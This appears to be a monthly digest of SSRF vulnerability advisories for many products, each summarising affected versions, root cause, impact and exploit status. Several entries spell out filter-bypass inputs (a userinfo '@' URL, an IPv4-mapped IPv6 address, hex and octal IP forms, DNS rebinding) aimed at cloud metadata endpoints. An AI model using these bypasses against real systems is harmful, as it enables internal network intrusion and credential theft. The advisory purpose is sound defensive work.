SSRF
Monthly
Unauthenticated blind server-side request forgery in sgoudelis Ground Station before 0.6.0 lets any network attacker coerce the ground-station process into issuing outbound HTTP requests to arbitrary destinations, including cloud instance metadata at 169.254.169.254 and internal RFC1918/loopback services. Because the Socket.IO server on port 7000 enforces no authentication and uses a wildcard CORS policy, an attacker persists a malicious orbital-source URL and triggers a sync, then reads returned HTTP status codes and error strings as an oracle for probing the internal network. There is no public exploit identified at time of analysis, but the flaw is durable: the malicious source survives restarts and re-fires automatically every 24 hours.
Credential exfiltration via the tenant API in OpenReception appointment-booking-software prior to v1.0.2 allows any authenticated TENANT_ADMIN to retrieve the full PostgreSQL connection string - including plaintext password - for the shared database instance. In default docker-compose.prod.yml deployments, those credentials belong to the postgres superuser (rolsuper=true), granting the attacker read-write access to every tenant's database, all GLOBAL_ADMIN password hashes and session records, and superuser-level PostgreSQL functions (pg_read_server_files, COPY FROM PROGRAM) usable for container-level escalation. No public exploit code or CISA KEV entry exists at time of analysis; EPSS data was not provided, but the CVSS S:C scope change and the cross-tenant blast radius make this a high-priority patch target for any operator running the affected version.
Server-Side Request Forgery in WGDashboard (WireGuard management dashboard) version 4.2.3 and earlier (EUVD extends the range through 4.3.2) lets attackers abuse the webhook functionality to make arbitrary HTTP requests from the server and read back full responses. The description scopes this to authenticated attackers, though the supplied CVSS vector marks it PR:N (unauthenticated) - a discrepancy defenders should resolve with the vendor. Publicly available exploit code exists (Stuub PoC), but EPSS is only 0.16% (6th percentile) and there is no public exploit identified as actively exploited.
Full unauthenticated site takeover in the Premium SEO WordPress plugin stems from an intentional backdoor shipped in the plugin code itself, which silently provisions a hidden administrator account and, in certain builds, exposes remote code execution, server-side request forgery, and arbitrary front-end content injection. Any WordPress site running this plugin is affected, and because the backdoor is reachable without authentication, an attacker who knows the endpoint gains complete control of the site. WPScan attributes the finding; no public exploit is identified at time of analysis and the CVE carries the maximum CVSS 10.0 score.
Server-side request forgery in eScriptorium through 26.04.1 allows remote authenticated users to pivot from the application server into internal networks, including cloud instance metadata services (IMDS), by supplying attacker-controlled URIs to the METS or IIIF import API endpoint. The vulnerability is rooted in the default wildcard value of the IMPORT_ALLOWED_DOMAINS setting combined with a total absence of address filtering, redirect-following caps, or request timeouts - meaning any authenticated user can coerce the server into issuing arbitrary HTTP requests. With CVSS S:C (scope changed) and C:H, the primary risk is exfiltration of cloud credentials via IMDS (e.g., AWS 169.254.169.254), which can escalate a low-privilege application account into full cloud environment compromise. No public exploit or KEV listing identified at time of analysis.
Server-Side Request Forgery combined with CSRF in Eclipse GlassFish's DownloadServlet ContentSources handler allows a remote attacker to exfiltrate the administrative `gfresttoken` to an attacker-controlled host when an authenticated administrator visits a malicious page. Affecting Eclipse GlassFish 8.0.x prior to 8.0.4, successful token theft yields full control of the GlassFish administrative domain until the token expires, effectively an unauthenticated takeover of the management plane. No public exploit identified at time of analysis, and the issue is not in CISA KEV, but the CVSS 9.6 rating and low attack complexity make it high priority.
Server-Side Request Forgery in Foxit PDF Services API allows low-privileged remote attackers to bypass local file access restrictions by embedding redirect-chain URLs in PDF creation requests, causing the server to fetch arbitrary internal resources and disclose sensitive information. The CVSS vector (S:C/C:H) confirms the scope change extends to internal backend systems inaccessible to the attacker directly, making this a meaningful lateral-visibility primitive in environments where the API reaches internal network segments. No public exploit identified at time of analysis, and no KEV listing, though the low attack complexity elevates urgency for internet-exposed deployments.
Server-Side Request Forgery (SSRF) in the Newsletters WordPress plugin before 4.16 allows unauthenticated remote attackers to force the hosting server to issue HTTP requests to arbitrary internal or external URLs via the unauthenticated bounce-processing endpoint. A publicly available proof-of-concept exists per WPScan reporting. Despite the high CVSS score of 8.2, EPSS is very low at 0.14% (3rd percentile), and SSVC rates it non-automatable with only partial technical impact, suggesting opportunistic rather than mass exploitation at this time.
SSRF protection bypass in Gitea prior to 1.27.0 exposes internal services, cloud instance-metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254), and local files - including the application configuration containing database credentials and signing secrets - to authenticated attackers. Three HTTP fetch code paths in the migration and OAuth avatar subsystems use Go's raw http.Get() rather than the hardened hostmatcher.NewDialContext() transport used elsewhere, completely circumventing Gitea's built-in SSRF defenses. A publicly available proof-of-concept is included in the GHSA advisory; no confirmed active exploitation (CISA KEV) has been identified at time of analysis.
Server-Side Request Forgery (SSRF) bypass in PraisonAI's web_crawl tool prior to version 1.6.58 enables unauthenticated network attackers to reach internal network resources, loopback interfaces, and cloud metadata endpoints (such as AWS IMDS) from the PraisonAI host. The protection bypass exploits a validate-here/fetch-there gap (CWE-367 TOCTOU): the hostname is validated once with socket.gethostbyname but then re-resolved at connect time by httpx or urllib with redirect-following enabled, allowing HTTP redirect chains or DNS rebinding to steer the final connection to attacker-chosen internal destinations. No public exploit code or active exploitation has been identified at time of analysis; a fix is available in version 1.6.58.
Server-side request forgery in PraisonAI's web_crawl() function (versions 1.5.128-1.6.57) allows an attacker who can influence URLs processed by agent or tool workflows to exfiltrate responses from internal services, private network hosts, and cloud metadata endpoints such as AWS IAM credential URLs. This is a confirmed patch bypass of the previously disclosed SSRF class in CVE-2026-40160 and GHSA-8f4v-xfm9-3244, exploiting the fact that the httpx fallback client uses follow_redirects=True without revalidating redirect destinations against the original host blocklist. No public exploit code and no CISA KEV active exploitation designation have been identified at time of analysis.
Server-Side Request Forgery in IBM Langflow OSS 1.0.0 through 1.10.3 enables authenticated low-privilege users to coerce the application server into issuing arbitrary outbound HTTP requests against internal infrastructure. The root cause is unsanitized pass-through of the OLLAMA_BASE_URL parameter directly into requests.get() inside validate_model_provider_key(), with no scheme enforcement, host allowlisting, or private-range (loopback, RFC1918, link-local) filtering. No active exploitation confirmed (not in CISA KEV), but the network-accessible, low-complexity attack path and high confidentiality impact (C:H) make this a meaningful internal-network pivot risk for organizations running Langflow with AI provider integration enabled.
Server-Side Request Forgery in IBM Application Gateway Operator versions 22.2 through 26.06 lets remote unauthenticated attackers coerce the operator into issuing arbitrary HTTP requests by supplying attacker-controlled URLs in custom resources that the operator fails to validate. Because the operator typically runs inside a Kubernetes/OpenShift cluster, this SSRF can reach internal-only services and cloud metadata endpoints. There is no public exploit identified at time of analysis, EPSS risk is low (0.29%, 21st percentile), and CISA SSVC rates exploitation as none.
Server-side request forgery in Progress MarkLogic Server before 11.3.6 and 12.0.3 enables authenticated low-privileged users to bypass existing IMDS protection filters, causing the server to fetch cloud instance metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Successful exploitation yields temporary cloud IAM credentials, extending attacker reach to all cloud resources accessible by the host instance's IAM role. No public exploit code or CISA KEV listing has been identified at time of analysis; however, the Scope:Changed CVSS metric and credential-theft impact elevate operational priority significantly for cloud-hosted deployments.
Server-Side Request Forgery in Shiori's bookmark download function allows any authenticated user to force the server to issue HTTP requests to loopback addresses (127.0.0.1) and 0.0.0.0 - which Linux routes to the loopback interface - reaching cloud metadata endpoints, co-located databases, and internal-only APIs. The root cause is `DownloadBookmark()` in `internal/core/download.go` using a plain `http.Client` with no custom `DialContext` and no post-resolution IP validation (no `IsLoopback()`, `IsPrivate()`, `IsUnspecified()`, or `IsLinkLocalUnicast()` checks). No public exploit has been identified at time of analysis, but the attack path is trivially constructable given the well-documented SSRF pattern against Go's standard HTTP client.
DNS rebinding bypass of SSRF protection in Memos' webhook dispatcher allows a low-privileged authenticated attacker to reach internal network resources by exploiting a time-of-check/time-of-use race in hostname resolution. The `safeDialContext()` function in `internal/webhook/webhook.go` validates the resolved IP against reserved ranges but then re-dials using the original hostname, allowing the underlying `net.Dialer.DialContext()` to perform a second, independent DNS lookup that the attacker controls. By setting a short TTL on an attacker-controlled domain and swapping the DNS response between validation and dial, an attacker can cause Memos to connect to arbitrary internal addresses. No public exploit or CISA KEV listing has been identified at time of analysis, but the scope change (S:C) and high confidentiality impact reflect the risk of internal service enumeration and data exfiltration.
Webhook URL validation bypass in Memos allows authenticated users to trigger Server-Side Request Forgery via the 0.0.0.0 address notation, causing the server to make outbound HTTP requests to its own loopback interface and exposing internal-only services, with a CVSS 8.5 score reflecting Changed Scope and High Confidentiality impact. The root cause is a code-divergence defect: isReservedIP() in internal/webhook/validate.go omits the 0.0.0.0/8 CIDR block and never calls ip.IsUnspecified(), while the correctly implemented sibling function isInternalIP() in internal/httpgetter/html_meta.go does both. No public exploit code or CISA KEV listing has been identified at time of analysis, but the low attack complexity and standard SSRF-to-loopback technique make this a realistic risk on any Linux-hosted Memos instance with multi-user access.
Server-side request forgery in Stirling-PDF's POST /api/v1/convert/url/pdf endpoint allows unauthenticated remote attackers to exfiltrate cloud metadata and internal network resources by supplying a URL to an attacker-controlled page containing embedded resource references (e.g., img tags targeting 169.254.169.254). The endpoint was deliberately excluded from the SSRF protections applied to three sibling conversion endpoints, creating an uneven security boundary; WeasyPrint, the underlying rendering subprocess, fetches all embedded resources with no per-resource SSRF filtering, causing internal HTTP responses to be embedded verbatim into the returned PDF. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack requires no authentication and no special configuration, making any network-exposed Stirling-PDF instance a viable target.
Arbitrary server-side code execution in Magistrala's Rules Engine exposes any authenticated low-privileged user to full file system access, environment variable exfiltration, database manipulation, and SSRF against internal microservices. The platform's two script runtimes - Go via Yaegi and Lua - both fail to sandbox dangerous capabilities: the Go engine exposes the complete standard library behind a trivially insufficient regex filter, while the Lua engine performs no validation whatsoever and explicitly preloads file I/O, HTTP client, and database libraries. No public exploit code has been identified at time of analysis, but the attack requires only a valid account and the ability to create rules, making exploitation straightforward for any tenant or internal user.
MLflow's AI Gateway proxy exposes internal network services - including cloud-instance metadata endpoints - to any authenticated user, including read-only accounts, via an unvalidated api_base field in the CreateGatewaySecret endpoint. All MLflow releases through 3.14.0 are affected; the attack requires only basic credentials and no special configuration, making IAM credential theft a realistic outcome for cloud-hosted deployments. No public exploit has been identified at time of analysis, but the two-step attack (create secret, invoke proxy) involves only standard HTTP requests and no technical barrier beyond holding a valid account.
Server-side request forgery in Google::Auth for Perl (versions before 0.09) allows credential exfiltration to attacker-controlled hosts when applications process credentials JSON they do not fully control. The library makes outbound HTTP requests to URLs read directly from the credentials JSON - including token endpoints, impersonation URLs, and credential source URLs - without validating that those hosts belong to googleapis.com or a pinned universe domain. All four credential types (external_account, authorized_user, impersonated_service_account, service_account) are affected, and each carries live credentials (subject tokens, refresh tokens, client secrets, or signed JWT assertions) in those requests. No public exploit has been identified at time of analysis, and EPSS is 0.18% (8th percentile), indicating low observed exploitation pressure despite the CVSS 7.5 score.
Server-side request forgery in Open WebUI (pip/open-webui versions 0.9.0 through 0.10.x) allows any authenticated low-privilege user to reach internal cloud metadata endpoints, loopback-bound admin surfaces, and VPC-internal APIs by encoding IPv4 addresses inside the NAT64 well-known prefix `64:ff9b::/96`. The SSRF filter evaluates only whether the literal IPv6 address is globally routable - which NAT64 addresses are, by design - without unwrapping the embedded IPv4 destination before deciding to allow or block the request. Full response bodies, including AWS IAM role credentials from the instance metadata service, are returned directly to the caller. A proof-of-concept exists confirming exploitation against the unmodified v0.10.2 code path; no active exploitation in the wild has been confirmed by CISA KEV at time of analysis.
Server-Side Request Forgery in Open WebUI versions 0.9.6 through 0.10.x allows any authenticated user to exfiltrate HTTP responses from internal network services - including cloud instance metadata endpoints and container-local APIs - by submitting a crafted URL that triggers unvalidated sub-resource requests through the Playwright browser loader. The `SafePlaywrightURLLoader` component validated only the top-level navigation request; all subsequent requests issued by page JavaScript bypassed the address check entirely, and the resulting DOM content was returned directly to the requester via the normal web-search or RAG ingestion pipeline. No public exploit or CISA KEV listing is confirmed at time of analysis, though a proof-of-concept was reported against version 0.10.2; the vulnerability is limited to the non-default Playwright loader configuration.
Server-side request forgery in NVIDIA Dynamo's Rust multimodal media fetcher (Linux, versions through v1.1.0) allows unauthenticated remote attackers to coerce the server into issuing arbitrary HTTP requests to attacker-controlled destinations. A successful exploit can expose sensitive internal network resources, cloud metadata endpoints (e.g., IMDS at 169.254.169.254), or internal API responses, resulting in high-confidence information disclosure. No public exploit code or CISA KEV listing exists at time of analysis.
Server-side request forgery via DNS rebinding in NVIDIA Dynamo's multimodal media fetcher exposes internal network resources to remote unauthenticated attackers. All Dynamo releases from version 0 through v1.1.0 on Linux are affected. A successful exploit allows an attacker to manipulate the media fetcher into issuing HTTP requests to internal services, leading to high-confidence information disclosure - including potentially cloud metadata endpoints, internal APIs, or adjacent microservices. No public exploit code and no CISA KEV listing have been identified at time of analysis, though the CVSS 7.5 rating and unauthenticated network vector make this a meaningful risk in exposed deployments.
Server-side request forgery in NVIDIA Dynamo's multimodal media fetcher (Linux, versions through v1.1.0) allows unauthenticated remote attackers to issue arbitrary server-side HTTP requests by supplying malicious URLs as media inputs during inference. The CVSS 3.1 vector confirms network-accessible, zero-authentication exploitation with high confidentiality impact, scoring 7.5. No active exploitation or public exploit code has been identified at time of analysis, but SSRF in cloud-hosted AI inference infrastructure carries meaningful risk due to cloud metadata service exposure.
Server-side request forgery in NVIDIA Dynamo for Linux (all versions through v1.1.0) allows unauthenticated remote attackers to force the inference server to issue arbitrary HTTP requests by embedding a crafted URL inside a multimodal inference request payload. Successful exploitation exposes internal network resources reachable from the Dynamo host, producing high-severity information disclosure without requiring any credentials or user interaction. No public exploit code or CISA KEV listing has been identified at time of analysis, though the PR:N/AC:L attack surface on AI serving endpoints that may be network-exposed warrants prompt remediation.
Server-side request forgery in NVIDIA Dynamo for Linux (versions 0 through v1.1.0) enables unauthenticated remote attackers to cause the server to issue arbitrary backend HTTP requests. The CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:N) confirms network-exploitable with no authentication or user interaction required, making this accessible to any attacker who can reach the Dynamo service. Successful exploitation leads to confidentiality impact - likely exposure of internal services, cloud instance metadata endpoints, or internal API responses - with no public exploit or CISA KEV listing identified at time of analysis.
Server-side request forgery in NVIDIA Dynamo for Linux (versions through v1.1.0) allows unauthenticated remote attackers to read arbitrary local files by embedding a crafted local path inside a multimodal inference request. The Dynamo serving layer fails to restrict the path to an allowed directory, causing the server to resolve and return content from restricted filesystem locations, leading to high-confidentiality information disclosure. No public exploit code or CISA KEV listing has been identified at time of analysis; however, the low attack complexity and lack of authentication requirements make this straightforward to exploit against any exposed Dynamo endpoint.
SSRF protection bypass in Flowise (npm/flowise ≤ v3.1.2) allows complete circumvention of all IPv4 CIDR deny rules via IPv4-mapped IPv6 addresses, rendering the SSRF fix introduced in v3.0.13 for CVE-2026-31829 entirely ineffective. An attacker who controls DNS for a hostname referenced in a Flowise chatflow HTTP component can set a AAAA record to `::ffff:169.254.169.254` or any RFC1918 target; Flowise resolves the address, the `isDeniedIP()` kind mismatch silently skips all IPv4 CIDR checks, and the request reaches cloud IMDS endpoints or internal services. A publicly available proof-of-concept script (poc_ssrf_bypass.js) confirms the bypass against ipaddr.js@2.2.0; no CISA KEV listing has been identified at time of analysis.
Unauthenticated SSRF with non-blind response reflection and OAuth2 secret exfiltration in Flowise affects all versions through 3.1.2. The OAuth2 token refresh endpoint is intentionally whitelisted from authentication but issues server-side HTTP POST requests to a credential-stored URL without SSRF controls, allowing any caller who knows a credential UUID to redirect the server to an attacker-controlled host and receive the full response body. A working proof-of-concept was confirmed against the flowiseai/flowise:latest container, with the exploit also exfiltrating client_secret and refresh_token values in the outbound POST body to the attacker server. No public exploit is independently confirmed as widespread, but the PoC is detailed and functional.
Server-Side Request Forgery in Adobe Campaign Classic (ACC) enables remote attackers to coerce the server into issuing crafted internal requests, resulting in privilege escalation without any user interaction. Adobe rates the flaw at the maximum CVSS 10.0 with a changed scope, indicating the SSRF pivots beyond the vulnerable component to compromise other systems or trust boundaries. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the unauthenticated, network-reachable nature makes it a top-priority patch.
Trust-boundary bypass in the ip-address npm library (all versions through 10.3.0) enables SSRF filter evasion in Node.js applications that use Address4 classification methods to block internal destinations. The library decodes leading-zero octets as decimal (e.g., '012' → 12) while system resolvers interpret the same notation as octal (e.g., '012' → 10), causing Address4.isPrivate() and related methods to return false for RFC 1918 addresses expressed in octal shorthand, while the underlying fetch connects to the private host. A functional proof-of-concept is included in the vendor advisory; no CISA KEV listing is present at time of analysis, but exploitation requires no special configuration and rides the ordinary URL-parsing code path.
Server-side request forgery in CTI-Transmute's evaluation report PDF-generation pipeline allows an attacker who can inject content into a CTI evaluation report to coerce the application server into fetching arbitrary internal or filesystem resources. The vulnerability arises because user-controlled fields - conversion names, descriptions, and comments - flow through a Markdown-to-HTML conversion and are then rendered to PDF by WeasyPrint with its default unrestricted URL-fetching behavior intact, meaning crafted file:// or http(s):// references embedded in that content are fetched by the server process at render time. No public exploit code has been identified at time of analysis, and the vulnerability is not listed in the CISA KEV catalog, but a patch commit is available from the MISP project.
Server-side request forgery in Budibase's REST datasource integration exposes internal cloud infrastructure to authenticated Builder-role users in all versions prior to 3.38.1. The flaw allows a Builder to configure a REST datasource pointing to an attacker-controlled external server, which then responds with an HTTP redirect to a blocked internal IP - the redirect target is never re-validated against the platform's IP blacklist, granting access to cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254) and other internal services. No public exploit code or active exploitation has been identified at time of analysis, but the technique is well-documented in SSRF research and requires only a Builder account, which is routinely granted in collaborative low-code environments.
Server-side request forgery in Thumbor prior to 7.8.0 allows unauthenticated remote attackers to bypass the ALLOWED_SOURCES hostname allowlist - the service's primary SSRF defense - and cause Thumbor to fetch images from arbitrary hosts, including internal network resources. The bypass exploits Python's regex engine treating unescaped dots as wildcards: an allowlist entry of 's.glbimg.com' silently matches attacker-controlled hostnames like 'sXglbimgYcom'. Because ALLOW_UNSAFE_URL defaults to True and all official documentation examples use plain-string patterns, the preconditions for exploitation match the default deployment profile. No public KEV listing, but a vendor-confirmed proof-of-concept is embedded in GitHub security advisory GHSA-6x26-6r6f-m537.
Server-side request forgery in bank-vaults vault-secrets-webhook (<= 1.22.2) lets a low-privileged tenant with ConfigMap or Secret create/update rights in any watched namespace force the cluster-wide admission webhook to make attacker-controlled outbound HTTP requests and exfiltrate ServiceAccount JWTs. The webhook trusts the vault.security.banzaicloud.io/vault-addr annotation with no scheme validation or host allowlist, then synchronously mints a SA token (via cluster-wide serviceaccounts/token:create) and POSTs it to the attacker's address, which can be replayed against the real Vault. A vendor patch (v1.23.1) exists and the reporter published a working PoC, but there is no public exploit identified in the wild and the flaw is not in CISA KEV.
Server-side request forgery bypass in the dssrf npm SSRF-protection library (versions <= 1.0.4) allows internal resource access when Node.js is configured with an external DNS resolver such as 1.1.1.1. The is_url_safe() function relies solely on dns.resolve4 and dns.resolve6 to check whether a hostname resolves to an internal IP; when an external resolver returns NXDOMAIN for 'localhost' (which it cannot authoritatively answer), no addresses are returned and no fallback to dns.lookup occurs, causing the library to incorrectly classify localhost as safe. publicly available exploit code exists, demonstrated via a published proof-of-concept in the GitHub advisory GHSA-5846-7qm3-r52j.
DNS rebinding defeats `nltk.pathsec.urlopen()`'s SSRF filter in NLTK 3.9.4 and earlier, allowing unauthenticated remote attackers to reach loopback addresses, private networks, and cloud instance metadata endpoints - even with `ENFORCE = True` - and receive full, non-blind HTTP responses. The root cause is a TOCTOU gap: validation resolves the hostname once, but `urllib` independently re-resolves it at connect time via a separate `getaddrinfo` call, connecting to whatever the attacker's TTL-0 rebinding record returns on the second lookup. A working proof-of-concept is publicly available in the GHSA advisory, and the `lru_cache` annotation on `_resolve_hostname` creates a false assurance that rebinding is already mitigated, meaning operators who adopted this boundary believe themselves protected when they are not.
Security filter bypass in fast-uri (before versions 4.1.2, 3.1.5, and 2.4.4) enables unauthenticated remote attackers to circumvent host-based access controls - including SSRF filters, allowlists, and redirect validators - by submitting URLs that use backslash-based authority introducers. The parser inconsistency between fast-uri and Node.js's native WHATWG URL handler causes the same crafted URL to resolve to different hosts in each parser, allowing attackers to steer downstream requests to unintended destinations. No public exploit is identified at time of analysis and this CVE does not appear in CISA KEV, though the CVSS 7.5 High rating with AV:N/AC:L/PR:N/UI:N reflects straightforward remote exploitability wherever the vulnerable application pattern exists.
Server-Side Request Forgery in Google mcp-toolbox versions 0.3.0 through 1.4.0 lets remote attackers coerce the toolbox into making unauthorized requests to internal or arbitrary endpoints by supplying a crafted path parameter that triggers an open redirect or destination swap on the backend. Because the HTTP client in internal/sources/http/http.go was initialized without a CheckRedirect policy or target-IP validation, baseline parameter sanitization is bypassed once the server follows the redirect. There is no public exploit identified at time of analysis (CVSS 4.0 carries E:U, Exploit Unproven), and the flaw is notably reachable via malicious data-driven LLM prompts, not just direct attacker input.
Server-side request forgery and local file inclusion in Leantime 3.6.2 lets authenticated attackers coerce the server into reading attacker-chosen resources by feeding unsanitized filenames to file_get_contents() inside the Blueprints::import() method. Because the JSON-RPC import endpoint accepts PHP URL wrappers and path-traversal sequences, a low-privileged user with project CREATE rights can pivot to cloud metadata endpoints (e.g. 169.254.169.254) or exfiltrate arbitrary files from the host filesystem. Publicly available exploit code exists (VulnCheck advisory and a GitHub security advisory PoC), though there is no public exploit identified as being actively exploited in the wild.
SSRF filter bypass in the dssrf npm library (versions <= 1.0.3) lets attackers defeat the is_url_safe() guard by prefixing a URL with a userinfo component (e.g. http://evil.com@127.0.0.1/). Because remove_at_symbol_in_string() strips the '@' from the raw string before new URL() parses it, the hostname is corrupted into a non-resolving string that passes all internal-IP checks, while an HTTP client fed the original URL still connects to the internal host. Publicly available exploit code exists (working PoC using nock/got in the advisory), though there is no evidence of active exploitation; this vector was missed by the earlier GHSA-8p33-q827-ghj5 fix.
Server-side request forgery in Kanboard 1.2.52 and earlier lets authenticated users pivot into internal networks by encoding target IP addresses in hexadecimal notation, which slips past the application's SSRF allow-list check. Because the isPrivateURL() filter in app/Core/Http/Client.php relies on FILTER_VALIDATE_IP - which rejects non-dotted-decimal formats - a hex-encoded address like 0x7f000001 is deemed 'not a private IP' and forwarded to cURL, which happily resolves and connects to it. Publicly available exploit code exists (a proof-of-concept gist), though there is no public exploit identified as being used in active attacks; EPSS was not provided.
Server-side request forgery in the kyegomez Swarms multi-agent framework (all versions through 6.8.1) lets remote unauthenticated attackers coerce the server into fetching attacker-chosen internal endpoints. The flaw lives in the _is_safe_url blocklist check, which validates the literal hostname but never re-checks the address returned by DNS resolution - so a hostname that resolves to a private, loopback, or cloud-metadata address slips past the filter. Supplied as an image or audio URL to an agent, this can be abused to reach internal services and exfiltrate cloud credentials. Reported by VulnCheck; no public exploit identified at time of analysis, and it is not listed in CISA KEV.
Cross-site request forgery in IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 enables server-side request forgery with elevated privileges when the collectiveController-1.0 feature is active. An attacker who lures an authenticated Liberty administrator to a malicious web page can trigger forged requests that the server executes with the victim's elevated privileges, allowing the attacker to reach internal services ordinarily inaccessible from the network perimeter. No public exploit code exists and no confirmed active exploitation is recorded, though the SSVC framework rates the technical impact as total should exploitation occur.
Service-account token disclosure in the Red Hat OpenShift koku-metrics-operator lets a user with edit rights on the CostManagementMetricsConfig custom resource redirect metrics uploads to an attacker-controlled URL, to which the operator blindly attaches its own Kubernetes bearer token. This CWE-918 server-side request forgery (tagged SSRF/Kubernetes/Red Hat) yields the operator's service-account credentials, enabling in-cluster privilege escalation. Reported by Red Hat with a CVSS 3.1 base of 7.6 (scope-changed); no public exploit identified at time of analysis and it is not in CISA KEV.
Server-side request forgery in the Eclipse CSI PIA `POST /v1/upload/sbom` endpoint lets remote attackers coerce the server into connecting to an arbitrary host, port, and scheme of their choosing. By exploiting a parser-differential between Python's `urlparse` (used for the issuer allowlist check) and `requests`/`urllib3`/`urllib` (used for OIDC discovery and JWKS retrieval), an attacker crafts a JWT `iss` claim containing a backslash that passes validation but resolves to a different host during the actual fetch. The `iss` claim is only checked in its unverified form, so no legitimate token is needed; no public exploit has been identified at time of analysis and the issue is not listed in CISA KEV.
Server-side request forgery in Flyto Core (flytohub/flyto-core) prior to 2.26.7 lets a low-privileged workflow author coerce the server into fetching attacker-supplied URLs across a broad set of HTTP-emitting modules - http.get/post, GraphQL query/mutation, monitor.http_check, Slack/Discord/Teams notifications, ai.vision_analyze, browser.proxy_rotate, and the agent/LLM base_url branch - because these callers bypassed the existing validate_url_with_env_config SSRF guard. An authenticated attacker can pivot to internal-only services and cloud metadata endpoints (e.g. 169.254.169.254), yielding high-confidence disclosure of internal data and credentials. There is no public exploit identified at time of analysis, but the upstream fixing commit is public, and no EPSS or CISA KEV data was supplied.
Unauthenticated SSRF and secret exfiltration in Flyto Core (flytohub/flyto-core) prior to 2.26.7 lets remote attackers coerce the standalone flyto-verification service into making attacker-directed outbound requests. The service listens on 0.0.0.0:8344 with no authentication and accepts a client-supplied callback_url, then issues an outbound POST carrying the X-Internal-Key: $FLYTO_RUNNER_SECRET header while skipping the target_allowed allowlist, so an attacker can both reach internal-only endpoints and steal the runner secret. Rated CVSS 9.3 (scope-changed). No public exploit identified at time of analysis and it is not listed in CISA KEV, but the fix and root cause are fully documented in the vendor GHSA advisory and patch commit.
Sensitive credential exposure in Flyto Core (flytohub/flyto-core) prior to 2.26.6 lets a remote actor exfiltrate the operator's LLM provider API keys: the llm.chat/ai_model path reads OPENAI_API_KEY and ANTHROPIC_API_KEY from the host environment and forwards them verbatim in an Authorization: Bearer header to a caller-controlled base_url. By supplying a public endpoint that satisfies the existing SSRF guard, an attacker collects the key on their own host. There is no public exploit identified at time of analysis and no CISA KEV listing; the flaw is fixed in 2.26.6, which adds an env-derived-credential endpoint check.
Server-Side Request Forgery in HashiCorp's consul-mcp-server 0.1.0 through 0.1.3 lets a connected client override the server's configured Consul backend address through an untrusted request header, redirecting the server's Consul API calls to an attacker-controlled endpoint and exfiltrating the privileged Consul token held by the server. The flaw carries a CVSS 8.6 (scope-changed, high confidentiality impact) and is fixed in 0.1.4; there is no public exploit identified at time of analysis and it is not listed in CISA KEV.
Server-side request forgery in Flyto Core (flyto-core), an execution kernel for automation and AI-agent workflows, allows a low-privileged user who supplies a URL to the http.get, http.request, or http.batch modules to reach internal-only services. Prior to 2.26.7 these modules validated only the initial URL and then followed HTTP redirects (allow_redirects=True) without revalidating each Location hop, so a permitted public URL can 302-redirect into internal address space and return the internal response body to the caller. There is no public exploit identified at time of analysis, but the fix is confirmed in release 2.26.7.
Server-side request forgery in IBM WebSphere Application Server (traditional 9.0 and 8.5) and WebSphere Application Server Liberty (17.0.0.3 through 26.0.0.8) lets remote unauthenticated attackers coerce the server into issuing arbitrary requests when the SIP container feature (sipServlet-1.1) is enabled. The flaw carries a CVSS 9.8 rating with total technical impact, and IBM has released a fix (advisory node/7281721); no public exploit is identified at time of analysis and EPSS exploitation probability is low at 0.33%.
Server-side request forgery allowlist bypass in the V programming language standard library (net.urllib / net.http) through version 0.5.2 lets remote unauthenticated attackers reach internal network services that a host-based allowlist was meant to block. The flaw stems from a parser differential: net.urllib.parse() and net.http.get() disagree on how a backslash in a URL's authority is handled, so validation and connection resolve to different hosts. Publicly available exploit code exists and the issue was reported by VulnCheck, though it is not listed in CISA KEV (no public evidence of active exploitation at time of analysis).
Server-side request forgery in Prebid Server (Go) versions before 4.4.0 lets remote unauthenticated attackers coerce the ad server into making HTTP requests to attacker-chosen destinations. Multiple bidder adapters (e.g. acuityads, adhese, bidmachine) interpolate an unvalidated user-supplied 'host'/'account' bid-request parameter directly into outbound URLs, enabling extraction of host-environment data and access to internal network services. No public exploit identified at time of analysis, but the fix commit and GHSA advisory are public; EPSS was not provided.
Arbitrary file disclosure and Server-Side Request Forgery in veraPDF's validation-model module allow a remote attacker to read files off the validating host and force outbound requests by feeding it a crafted PDF. The flaw lives in DictionaryKeysHelper.getRichTextStringOrStreamEntryStringRepresentation(), which parses XHTML rich-text (/RC or /RV) annotation content with a default, unhardened DocumentBuilderFactory that resolves external entities and then reflects the expanded entity contents back into the validation report. All current releases of both the classic (org.verapdf:validation-model) and Jakarta (validation-model-jakarta) artifacts are affected; there is no public exploit identified at time of analysis and it is not listed in CISA KEV, though the vendor advisory (GHSA-3jh7-wm29-q568) describes exploitation as trivial.
Arbitrary file read and Server-Side Request Forgery in veraPDF-validation (and the validation-model-jakarta variant) let a remote attacker exfiltrate server files or reach internal services by submitting a crafted PDF whose XFA stream carries a malicious XML DOCTYPE. The insecure XML parser is reached automatically whenever a PDF is validated against the PDF/UA-1 profile, including via flavour auto-detection, so no operator action beyond normal validation is needed. There is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the vendor advisory (GHSA-36mm-w85j-3q2j) and a fixing patch are confirmed.
Credential exfiltration in swagger-typescript-api (npm, versions <= 13.12.1) allows a malicious OpenAPI spec to steal a developer's bearer token during code generation: when `--authorizationToken` is set, the generator attaches that token to the Authorization header of every request it makes while resolving external `$ref` URLs, with no same-origin check, so a `$ref` pointing at an attacker-controlled host receives the token verbatim. The stolen credential is typically high-value (GitHub PAT, OAuth bearer, CI service-account token) and its capture is equivalent to full account/scope takeover. A working proof-of-concept was supplied by the reporter (publicly available exploit code exists); it is not listed in CISA KEV and there is no evidence of active exploitation.
Server-Side Request Forgery amplification in Apache Traffic Server (versions 8.0.0-8.1.9, 9.0.0-9.2.14, and 10.0.0-10.1.3) allows remote attackers to bypass the configured redirect-follow limit when a plugin resets the internal retry counter, letting a single request fan out into a large chain of proxy-originated requests. The CVSS 4.0 base score is 8.2 (High), reflecting high impact on availability rather than data disclosure, with an attack requirement (AT:P) tied to specific plugin behavior. There is no public exploit identified at time of analysis and it is not listed in CISA KEV.
